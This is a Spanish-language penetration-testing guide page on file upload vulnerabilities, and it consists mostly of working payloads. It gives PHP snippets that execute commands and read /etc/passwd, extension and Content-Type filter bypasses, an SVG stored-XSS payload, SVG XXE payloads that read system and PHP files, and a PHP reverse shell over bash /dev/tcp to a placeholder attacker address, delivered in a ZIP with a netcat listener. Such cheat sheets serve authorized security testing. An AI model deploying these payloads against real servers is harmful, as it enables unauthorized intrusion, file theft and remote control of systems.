🟢
Web Application Penetration Testing
  • Inicio
  • General
    • Metodologías y estándares
    • Aplicaciones vulnerables
  • Reconocimiento y recolección de información
    • Web Application Firewall (WAF)
    • Domain Name System (DNS)
    • Subdominios y Virtual Host (VHost)
    • SSL/TLS y algoritmos de cifrados
    • Certificados
    • Tecnologías web
  • Escaneo y enumeración
    • HTTP security headers
    • HTTP methods (verbs)
    • Crawling y spidering
    • Fuzzing
      • Directorios
      • Archivos
      • Extensiones
      • Parámetros
        • GET
        • POST
      • Wordlists
    • Compresión y ofuscación
    • Herramientas automatizadas
  • Explotación
    • API keys
    • Clickjacking
    • HTTP methods (verbs)
    • Input data validation
    • HTTP Host header
    • Autenticación y autorización
      • Cookie
      • JSON Web Token (JWT)
      • OAuth
      • SAML
    • Same-origin policy (SOP)
      • Cross-origin resource sharing (CORS)
    • Cross-site scripting (XSS)
    • Cross-site request forgery (CSRF)
    • File upload
    • Path traversal & file inclusion
    • Command injection
      • Node.js
    • SQL injection (SQLi)
      • MySQL / MariaDB
      • Microsoft SQL Server
      • PostgreSQL
      • Oracle
      • sqlmap
    • NoSQL injection (NoSQLi)
    • XML external entity (XXE) injection
    • CRLF injection
    • XPath injection
    • LDAP injection
    • PDF injection
    • Server-side template injection (SSTI)
    • Server-side include (SSI) injection
    • Server-side parameter pollution
    • Server-side request forgery (SSRF)
    • Web cache poisoning
    • HTTP request smuggling
    • GraphQL
    • Open redirect
    • Content Management System (CMS)
      • WordPress
    • Websocket
    • Deserialization
    • Flash
  • Checklist
    • Web application penetration testing
    • Web API penetration testing
Con tecnología de GitBook
En esta página
  • General
  • Bypass de filtros
  • Validación del lado del cliente
  • Validación de extensiones con lista negra (blacklist) y blanca (whitelist)
  • Validación de tipo de contenido (Content-Type)
  • Validación de MIME-Type
  • Desde file upload a otras vulnerabilidades
  • SVG
  • ZIP

¿Te fue útil?

  1. Explotación

File upload

AnteriorCross-site request forgery (CSRF)SiguientePath traversal & file inclusion

Última actualización hace 1 año

¿Te fue útil?

General

1) Realizar carga de archivo e identificar:

  • Lugar de almacenamiento o ubicación donde es utilizado el archivo.

    • Fuzzing de directorios.

    • Forzar mensajes de error.

      • Cargando un archivo con un nombre existente.

      • Enviar dos solicitudes idénticas simultáneamente.

      • Cargar un archivo con un nombre demasiado largo, por ejemplo de 5000 caracteres.

  • Nombre con el cual es guardado el archivo.

2) Identificar la tecnología utilizada.

3) Comprobar la ejecución de comandos.

# PHP
<?php echo "test"; ?>
<?php system("hostname"); ?>
<?php echo file_get_contents("/etc/passwd"); ?>

4) Subida de web shells y reverse shells.

Bypass de filtros

Validación del lado del cliente

Utilizar funcionalidad de "anulaciones locales" de las "herramientas para desarrolladores" del navegador.

Validación de extensiones con lista negra (blacklist) y blanca (whitelist)

Identificar extensiones permitidas realizando fuzzing.

Listas de extensiones web comunes:

  • Burp Suite -> Intruder -> Payload options -> Extensions list

Doble extensión

Si .jpg es una extensión permitida se agrega al final del nombre del archivo seguido por la extensión del archivo a ejecutar, por ejemplo: shell.jpg.php.

Doble extensión inversa

Si .jpg es una extensión permitida se mantiene al final del nombre del archivo y se antepone a esta la extensión del archivo a ejecutar, por ejemplo: shell.php.jpg.

Caracteres especiales

%20 
%0a
%00
%0d0a
/
.\
.
…
:

Validación de tipo de contenido (Content-Type)

Identificar los tipos de contenido (Content-Type) permitidos realizando fuzzing.

Listas de tipos de contenido (Content-Type) web:

Validación de MIME-Type

Identificar los MIME-Type permitidos realizando fuzzing.

Listas de MIME-Type de archivos:

Desde file upload a otras vulnerabilidades

SVG

Cross-site scripting (XSS)

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">

    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />

    <script type="text/javascript">alert("Stored (Persistent) XSS");</script>

</svg>

XML external entity (XXE)

Lectura de archivo general.

# Linux/Unix
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<svg>&xxe;</svg>

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE svg [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>

<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="128px" height="128px">

<text font-size="16" x="0" y="16">&xxe;</text>

</svg>

# Windows
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM 'file:///C:/Windows/win.ini'>]>
<svg>&xxe;</svg>

Lectura de archivo PHP.

<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=<file>">]>
<svg>&xxe;</svg>

ZIP

Reverse shell

Creación de reverse shell.

reverseshell.php
<?php system("bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'"); ?>

Generación de archivo .zip con reverse shell.

zip reverseshell.zip reverseshell.php

Ejecución de Netcat en máquina atacante en modo escucha.

nc -lvnp <listen-port>

Subir el archivo reverseshell.zip al servidor web objetivo, revisar si el archivo es descomprimido y ejecutar la reverse shell.

curl http://<target>/reverseshell.php

Web shells
Reverse shells
SecLists
Payloads All The Things
Special character generator
SecLists
Wikipedia